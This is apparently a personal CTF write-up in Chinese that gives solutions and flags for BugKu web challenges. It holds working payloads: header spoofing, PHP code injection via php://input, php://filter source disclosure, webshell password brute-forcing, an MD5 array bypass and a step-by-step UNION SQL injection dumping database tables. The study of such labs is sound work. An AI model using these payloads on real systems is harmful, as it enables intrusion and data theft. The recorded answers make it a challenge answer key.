全面複習web,給本身定個目標,後天以前結束BugKu-Web,開始逆向。php
==
,弱等於以前會把等號兩邊轉化爲同一類型變量;X-Forwarded-For: 127.0.0.1
;php://input
配合<?php echo system('ls');?>
和php://filter/read=convert.base64-encode/resource=index.php
;https://ctf.bugku.com/challenges#web2
html
https://ctf.bugku.com/challenges#計算器
web
flag{CTF-bugku-0032}
https://ctf.bugku.com/challenges#web基礎$_GET
正則表達式
?what=flag
,輸出flagflag{bugku_get_su8kej2en}
https://ctf.bugku.com/challenges#web基礎$_POST
sql
what=flag
,請求獲得flagflag{bugku_get_ssseint67se}
https://ctf.bugku.com/challenges#矛盾
shell
num=1qwk
,獲得flagflag{bugku-789-ps-ssdf}
https://ctf.bugku.com/challenges#web3
數據庫
KEY{J2sa42ahJK-HS11III}
https://ctf.bugku.com/challenges#域名解析
json
http://123.206.87.240/
後,用hackbar修改host爲flag.baidu.com
便可得KEY{DSAHDSJ82HDS2211}
https://ctf.bugku.com/challenges#你必須讓他停下
數組
flag{dummy_game_1s_s0_popular}
https://ctf.bugku.com/challenges#本地包含
瀏覽器
https://ctf.bugku.com/challenges#變量1
<?php error_reporting(0); include "flag1.php"; highlight_file(__file__); if(isset($_GET['args'])){ $args = $_GET['args']; if(!preg_match("/^\w+$/",$args)){ die("args error!"); } eval("var_dump($$args);"); } ?>
?args=GLOBALS
獲得flagflag{92853051ab894a64f7865cf3c2128b34}
https://ctf.bugku.com/challenges#web5
ctf{whatfk}
https://ctf.bugku.com/challenges#頭等艙
flag{Bugku_k8_23s_istra}
https://ctf.bugku.com/challenges#網站被黑
dirb http://123.206.87.240:8002/webshell/
shell.php
,須要輸入密碼,弱密碼很差用,考慮爆破。獲得密碼爲hack
,輸入獲得flagflag{hack_bug_ku035}
https://ctf.bugku.com/challenges#管理員系統
dGVzdDEyMw==
,base64解碼得test123
,多是密碼,X-Forwarded-For: 127.0.0.1
,獲得flag85ff2ee4171396724bae20c0bd851f6b
https://ctf.bugku.com/challenges#web4
function checkSubmit(){ var a=document.getElementById("password"); if("undefined"!=typeof a){ if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value) return!0; alert("Error"); a.focus(); return!1}} document.getElementById("levelQuest").onsubmit=checkSubmit;
1466644826
,嘗試輸入KEY{J22JK-HS11}
https://ctf.bugku.com/challenges#flag在index裏
http://123.206.87.240:8005/post/index.php?file=show.php
,這個跳轉的連接有點眼熟,好像是文件包含漏洞,因而我嘗試php://input
,可是好像被過濾了php://filter/read=convert.base64-encode/resource=index.php
,成功輸出結果,轉碼後獲得flagflag{edulcni_elif_lacol_si_siht}
https://ctf.bugku.com/challenges#輸入密碼查看flag
flag{bugku-baopo-hah}
https://ctf.bugku.com/challenges#點擊一百萬次
https://ctf.bugku.com/challenges#備份是個好習慣
[空密碼]
,這是啥玩意,哦哦wc,這是重複了兩遍的同一個bak swp
等,構造payloadindex.php.bak
,成功下載到文件<?php /** * Created by PhpStorm. * User: Norse * Date: 2017/8/6 * Time: 20:22 */ include_once "flag.php"; //引入文件 ini_set("display_errors", 0); //不報錯 $str = strstr($_SERVER['REQUEST_URI'], '?'); // 截取問好以後的內容 $str = substr($str,1); // 把問號去掉 $str = str_replace('key','',$str); // 過濾掉字符key,能夠用複寫kekeyy繞過 parse_str($str); // 把str解析到變量中,這種狀況直接替代同名變量 echo md5($key1); echo md5($key2); // 這就是咱們一開始看見的兩個md5值的緣由 if(md5($key1) == md5($key2) && $key1 !== $key2){ // 獲得flag的條件,key1不等於key2,可是他們的md5值相等,這理論上是不可能的,可是咱們能夠用數組求md5返回false來繞過 echo $flag."鍙栧緱flag"; } ?>
http://123.206.87.240:8002/web16/index.php?kekeyy1[]=1&kekeyy2[]=2
Bugku{OH_YOU_FIND_MY_MOMY}
https://ctf.bugku.com/challenges#成績單
id=1
,輸出正常id=1' ^(1)%23
,沒輸出id=1' ^(0)%23
,輸出正常,說明存在注入1' ORDER BY 4%23
,輸出正常1' ORDER BY 5%23
,輸出錯誤,說明查詢結果有4列0' UNION SELECT 1,2,3,4%23
,輸出正常,能看到每個輸出對應的地方,可謂一個蘿蔔一個坑🥕id=0' UNION SELECT database(),2,3,4%23
,查詢數據庫名爲skctf_flag
id=0' UNION SELECT database(),(SELECT GROUP_CONCAT(table_name) FROM information_schema.TABLES WHERE table_schema='skctf_flag'),3,4%23
,查詢數據庫下表名爲fl4g,sc
id=0' UNION SELECT database(),(SELECT GROUP_CONCAT(column_name) FROM information_schema.COLUMNS WHERE table_name='fl4g'),3,4%23
,查詢表fl4g下列名skctf_flag
id=0' UNION SELECT database(),(SELECT GROUP_CONCAT(skctf_flag) FROM skctf_flag.fl4g),3,4%23
,查詢列skctf_flag
中數據獲得flagBUGKU{Sql_INJECT0N_4813drd8hz4}